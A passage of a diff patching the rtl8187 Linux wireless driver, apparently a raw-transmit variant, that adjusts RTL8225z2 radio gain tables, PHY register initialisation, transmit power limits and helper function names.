+ 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,48 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - - max_cck_power_level = 15; + + + max_cck_power_level = 35; //min_cck_power_level = 0; - max_ofdm_power_level = 25; // 12 -> 25 + max_ofdm_power_level = 35; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + if(cck_power_level >= 20 && cck_power_level < 30) + cck_power_level = 19; + for(i=0;i<8;i++){ - power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +482,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +511,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +557,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +626,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +681,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +711,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +741,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +772,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +799,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +824,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +852,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c 2008-02-22 15:32:50.000000000 +0100 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + 